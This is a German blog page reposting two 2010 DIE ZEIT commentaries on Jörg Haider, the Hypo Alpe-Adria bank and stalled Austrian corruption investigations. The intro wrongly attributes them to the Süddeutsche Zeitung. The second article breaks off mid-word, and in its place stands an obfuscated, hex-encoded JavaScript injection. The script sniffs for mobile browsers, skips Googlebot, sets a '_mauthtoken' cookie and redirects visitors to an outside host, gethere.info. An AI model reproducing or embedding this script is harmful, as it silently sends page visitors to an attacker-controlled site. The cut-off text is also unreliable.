Hypo – nur August 2010

Wenn Sie Lust haben können Sie AUGUST 2010 als PDF downloaden (einige Presseartikel).

und dazu passt – 2 x Süddeutsche Zeitung:

Österreich – Ein Sittenbild der Republik

Dubiose Geschäfte, Geldverschwendung, Missachtung
des Rechtsstaats – das System Haider wurde von der politischen Klasse
hofiert

• Von: Anton Pelinka
• Datum: 14.8.2010
  – 08:05 Uhr

© Harald Schneider/dpa

Jörg Haider mit dem libyschen Präsidentensohn Saif al-Islam al-Gadhafi auf einer Pressekonferenz in Wien im Jahr 2004

Die Methode ist seit Langem bekannt: Das System Haider bestand aus
einer Mischung von schlechtem Entertainment, inhaltlicher Beliebigkeit,
trotzigem Postnazismus und schamlos frechem Umgang mit Geld. Wer hinsah,
wusste schon vor Jahren, dass mit Jörg Haider »kein Staat zu machen«
war, wie Erhard Busek meinte. Wer jetzt noch von den neuen Enthüllungen
über Millionenkonten überrascht ist, sollte sich fragen, warum die
Ausflüge des tödlich verunglückten Politik-Desperados zu Diktatoren zu
keinen Konsequenzen führten. Warum die provokante Geldverschwendung, die
zum Markenzeichen dieses Systems wurde, nicht verstärkt kritische
Fragen nach sich zog. Warum die fortgesetzte Verachtung des
Rechtsstaates (Stichwort: Ortstafel verschieben) nicht dazu führte, dass
die »staatstragenden Parteien« diesem Mann die Rolle eines politischen
Paria zuwiesen.

Wer es wissen wollte, der wusste es seit Langem. Dennoch lieferte
Wolfgang Schüssel die Republik einem Ungeist aus, der NS-Verharmlosung
und postmoderne Politikunterhaltung, populistische Appelle an primitive
Vorurteile und eine an Mafia-Traditionen gemahnende Umwandlung des
Politischen in einen Selbstbedienungsladen zu verbinden verstand.

Angesichts des nun ruchbar gewordenen mysteriösen Finanzgebarens des
selbst ernannten Saubermannes ist plötzlich bei vielen die Überraschung
groß – und schon tappen sie wieder dem System Haider in die Falle: Hat
nun Walter Meischberger ein Tagebuch geschrieben – oder ein
Romanfragment? Darf man darüber lachen, dass Haiders Tennislehrer
(Lebensmensch?), den viele in Paraguay oder – die Beine in Beton
gegossen – am Grund des Genfer Sees wähnten, offenbar doch friedlich in
Kärnten wohnt? Genügt es, sich – völlig zu Recht – über die Kompetenz
einer Strafverfolgungsbehörde zu wundern, die es nicht der Mühe wert
findet, solchen (und anderen) Spuren nachzugehen?

Trotz dieser unbeantworteten Fragen geht es nicht um eine
Neubewertung des Systems Haider, sondern um jene, die das Land diesem
Regime auslieferten. Haider, so Peter Turrini, war ein »Übertreiber« der
Großparteien: Auch in deren Reihen waren viele, die einen Schlussstrich
unter die NS-Vergangenheit ziehen wollten. Haider aber machte aus
dieser Neigung eine Tugend. Auch in SPÖ und ÖVP gab und gibt es
Geldgier, Streit um Pfründen und die Belohnung von Loyalität mithilfe
von Postenvergaben. Erst das System Haider aber erhob all dies zu einer
wahren Kunst. War nicht Wolfgang Schüssels Entscheidung, Haider
politisch zu umarmen, auch Ausdruck der Bewunderung für den, der alles,
was auch in Schüssels Partei existiert, bis zur Vollendung
perfektionierte? Pilgerte nicht ÖVP-Präsidentschaftskandidatin Benita
Ferrero-Waldner 2004 nach Kärnten, um sich das Wohlwollen des
Landesfürsten zu sichern? Und folgte ihr nicht ORF-Generaldirektorin
Monika Lindner auf diesem Pfad, um sich das Placet Haiders abzuholen?
Verzichtete nicht sogar SPÖ-Kanzler Alfred Gusenbauer am Grab Haiders
auf kritische Töne? Kurz darauf wurde Gusenbauer – nunmehr Altkanzler –
Berater der Hypo Alpe-Adria. Einer Bank, die der Stützpfeiler des
Systems Haider war.

Das alles geschah, obwohl schon damals offensichtlich war, dass
Haider die Millionen seiner Landesbank zweckentfremdete, um damit sein
Karnevalsregime zu finanzieren. Dennoch hofierte die politische Klasse
den alternden Sunnyboy vom Wörthersee, dem scheinbar alles gelang.
Jetzt, da die kriminellen Machinationen ans Tageslicht kommen, reibt man
sich verwundert die Augen. Stattdessen wäre von diesen praktizierenden
Christen in der Politik ein reuiges mea culpa angebracht – etwa von
Wolfgang Schüssel.

Das System Haider stand für eine Politik ohne Konturen. Jetzt, so
meinen viele, sei klar, dass es Haider nicht um »Ideale«, sondern um
handfeste Vorteile ging: Überall, wohin man sticht, taucht das Motiv der
persönlichen Bereicherung auf.

Mehr zum Thema

• Haider-Geheimkonten Saddam Hussein zahlte Haider angeblich fünf Millionen Dollar
• Österreich Gadhafi-Clan soll Haiders geheime Konten gefüllt haben

Das stramm rechte Dritte Lager rund um den FPÖ-Chefideologen Andreas
Mölzer hatte anfangs freilich gerne in Kauf genommen, dass das System
Haider die FPÖ zu einem ungeahnten Höhenflug führte, den auch die
NS-Nostalgie nicht verhinderte. Die Granden der selbst ernannten
Europapartei ÖVP, allen voran Schüssel, zahlten dem Steigbügelhalter
Haider bei der Bildung der schwarz-blauen Regierung im Jahr 2000 nur zu
gerne den von diesem geforderten Preis. Und SPÖ-Vorsitzender Alfred
Gusenbauer versäumte es nicht, sich beim gemeinsamen Spargelessen und
anderen Gelegenheit die Möglichkeit offenzuhalten, von der mit dem Namen
Jörg Haider verbundenen Verluderung der Republik vielleicht doch einmal
politisch profitieren zu können.

Was immer letztlich herauskommen mag – anonyme Millionenkonten in
Liechtenstein oder auch nicht, Beweise für Millionen aus Tripolis und
Bagdad oder auch nicht, Verbindungen zur Ustaša-Mafia oder auch nicht –
das Meischberger-Tagebuch (oder Drehbuch oder PR-Gag oder Romanfragment)
liefert nicht nur ein Sittenbild des Systems Haider. Es ist auch ein
vernichtendes Urteil über diese Republik.

• Quelle: DIE ZEIT, 12.08.2010 Nr. 33
• Adresse:
  http://www.zeit.de/2010/33/A-Haider

Verschleppte Ermittlungen mit System – an einer Aufklärung der Korruptionsskandale herrscht kein Interesse

• Von: Joachim Riedl
• Datum: 12.8.2010
  – 11:09 Uhr

Wenn es stimmt, dass sich der Mensch vor Gericht wie
auf hoher See in Gottes Hand befindet, so müssen sich einige
Österreicher im Stand besonderer Gnade befinden. Diese Leute sind in den
vergangenen Monaten gewaltig ins Gerede gekommen. Sie stehen im
Verdacht, sich fast ein Jahrzehnt lang im Selbstbedienungsladen
Österreich unredlich bereichert zu haben. In den Stand der Gnade
versetzte sie die Tatsache, dass sie alle der Nomenklatura der
schwarz-blauen Regierung des Jahres 2000 entstammen. Für den langen Arm
des Gesetzes scheinen sie deshalb unerreichbar.

Die vielen Filter, die im Justizsystem zwischen dem ermittelnden,
aber weisungsgebundenen Staatsanwalt und der obersten
Entscheidungsinstanz, dem Ministerkabinett, installiert sind, sorgen
dafür, dass in nahezu jedem Fall von einem massiven Verdacht nach
monate- und häufig jahrelangem Aktenwachstum letztlich nur ein bitterer
Nachgeschmack übrig bleibt. Und der ist strafrechtlich nicht relevant.
Filter Nummer eins ganz am Anfang dieser Verharmlosungspipeline
funktioniert etwa so: Es seien ja doch alles »nur Indizien, und die
rechtfertigen es nicht, mit Grundrechtseingriffen vorzugehen«,
verteidigte sich im Mai der Sprecher der Staatsanwaltschaft in einem
Interview mit der Presse, als er zu erklären
trachtete, warum der ehemalige Finanzminister Karl-Heinz Grasser,
mittlerweile in ein gutes Dutzend fragwürdiger Finanztransaktionen
verwickelt, von neugierigen Staatsanwälten, die in seinen Konten und
seinen Geschäftsunterlagen herumstöbern, verschont geblieben war.

Leider habe sie jetzt gerade auch nicht den Termin einer möglichen
Vernehmung des geschätzten Kollegen Grasser im Kopf, gestand
Justizministerin Claudia Bandion-Ortner zu Beginn dieser Woche, als sie
wieder einmal alle Angriffe, die vom Bundespräsidenten abwärts auf den
säumigen Justizapparat einhagelten, abblockte.

Diese berichtspflichtige Information, so es sie gäbe, hätte eine
beschwerliche Reise zurückzulegen: vom Sachbearbeiter in der
Staatsanwaltschaft wanderte sie über dessen Gruppenleiter zum Leiter der
Staatsanwaltschaft, weiter aufwärts zum Sachbearbeiter in der
Oberstaatsanwaltschaft, dann zu deren Leiter und zum Sachbearbeiter in
der Weisungsabteilung des Justizministeriums, von wo sie zu dessen
Abteilungsleiter und zum betreffenden Sektionschef den Weg in das
Ministerkabinett und endlich zum Ohr der Ministerin fände. Da ermattet
jeder Aufklärungsbedarf. Die Justizministerin hat auch einen
verräterischen Namen für dieses System: »Fachaufsicht«. Jedes Glied in
dieser Kette, das Wert auf eine prosperierende Karriere in dem streng
hierarchischen Betrieb legt, weiß genau, worauf dabei besonders geschaut
wird.

Amtswege gleichen denen im Postkutschenzeitalter

Wie verlässlich die Filter dieses Amtsweges funktionieren,
veranschaulichte eine Einkaufstüte, gefüllt mit Akten aus der
Weisungsabteilung, die ein frustrierter Maschinist des
Vertuschungsgenerators vor einem Jahr dem Falter
vor die Redaktionstür stellte. Da wurde beispielsweise dem amtierenden
Kärntner Landeshauptmann bescheinigt, er habe »die strafrechtliche
Tragweite seiner Handlungen« (Amtsmissbrauch in Zusammenhang mit
zweisprachigen Ortstafeln) vermutlich nicht einzuschätzen vermocht,
weshalb auch keine »Verurteilungsnähe« bestehe. Fall geschlossen. Die
Empörung über diese Enthüllung war groß, das System blieb intakt, die
Ministerin mochte keinen Makel erkennen.

So wie sie auch nun den Rechtsstaat, der sich mit dem
Korruptionskarussell rund um Haider, Grasser, Buwog und Hypo
herumschlägt, nur in strahlendem Licht sieht. Rührend wie die Unschuld
aus dem Dorfgericht Zum Zerbrochenen Krug versichert sie dem Land: »Es wird akribisch an der Aufklärung gearbeitet.«

Diese akribische Aufklärung sieht beispielsweise so aus: Als
vergangene Woche bereits genüsslich auf allen Kanälen die pikanten
Details aus den beschlagnahmten Tagebuchnotizen des freiheitlichen
Privatisierungsgewinnlers Walter Meischberger zitiert wurden, verkündete
ein hilfloser Staatsanwalt in Klagenfurt, ihm sei mitgeteilt worden,
dass sich ein »Aktenvorgang« auf dem Weg an den Wörthersee befinde – so
als müsste das brisante Dokument noch wie weiland im
Postkutschenzeitalter im Schutze einer berittenen Bedeckung zugestellt
worden.

Zuvor hat das schwarze Büchlein, in dem sich wüste Geschichten über
Konten in Liechtenstein und mysteriöse Millionen aus Tripolis und Bagdad
finden, ein halbes Jahr lang in einem Aktenberg der Wiener
Staatsanwaltschaft geschlummert, bevor es im Falter,
derzeit der bevorzugte Briefkasten für alle, die mit Indiskretionen
die Akribie der Aufklärung ein wenig beschleunigen wollen, einen Weg an
die Öffentlichkeit fand. Erst dadurch dämmerte einem Teil der
politischen Klasse, dass die Justiz doch erheblichen Handlungsbedarf
hat. Doch eine der Schlüsselpersonen der Meischberger-Aufzeichnungen,
den angeblich verschollenen Gerald Mikscha, einst langjähriger Sekretär
von Jörg Haider, der sich um die Liechtenstein-Konten gekümmert haben
soll, forschte nicht die Justiz aus, sondern die Illustrierte News entdeckte ihn an der Seite seiner Lebensgefährtin in Kärnten.

Auch in diesem Fall folgt die Säumigkeit der Justiz bewährten
Mustern. Ermittlungsschritte werden verzögert, die personellen
Ressourcen werden nicht gezielt gebündelt, fast erscheint es
gleichgültig, ob Ergebnisse erzielt werden. Legt man der gegenwärtigen
Untersuchung das Tempo der juristischen Abwicklung der Pleite des
windigen Internetunternehmens Y-Line zugrunde – auch in diese Affäre, in
der nach acht Jahren und vier Staatsanwälten kein Ende in Sicht ist,
war eine ganze Reihe von Glücksrittern aus dem FPÖ-Umfeld verwickelt –,
so dürften eines fernen Tages die Verfahren eingestellt werden, weil
bereits alle Beteiligten des Bereicherungssystems verstorben sind.

Die Wenderegierung schuf ein Paradies für Abzocker

Das ist mit hoher Wahrscheinlichkeit auch die Absicht. Die
mutmaßlichen schwarzen Kassen von Jörg Haider stellen nur einen
Nebenaspekt in jenem Komplex an Korruption, Betrug und Abzockerei dar,
zu dem sich die verschiedenen Skandale des vergangenen Jahrzehnts
bündeln lassen.

Im Zentrum steht das Herzstück der schwarz-blauen Wenderegierung: die
Privatisierung der Staatsunternehmen. Sie war das programmatische
Projekt von Kanzler Wolfgang Schüssel, das er getreu seinem Credo »Mehr
privat, weniger Staat« umsetzen wollte. Dabei ging es nicht allein um
die Verwirklichung einer politischen Überzeugung. Der Rückzug der
öffentlichen Hand aus dem Wirtschaftsleben sollte auch den verhassten
Sozialdemokraten ihre Machtbasis nehmen, der sie hauptsächlich ihr
politisches Gewicht in der Zweiten Republik verdankten. Dadurch könnte
im Land auf Dauer eine konservative Hegemonie verankert werden. Der
schlaue Plan hatte nur einen Fehler: Er ging nicht ganz so auf wie
gewünscht. Das lag am Partner der Wende.

Zentrale Schaltstelle des großen Ausverkaufs waren das
Finanzministerium und dessen Ressortchef Karl-Heinz Grasser. Mit dem
freiheitlichen Senkrechtstarter, einer effekthascherischen Erscheinung,
hatte der Politikprofi Schüsvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}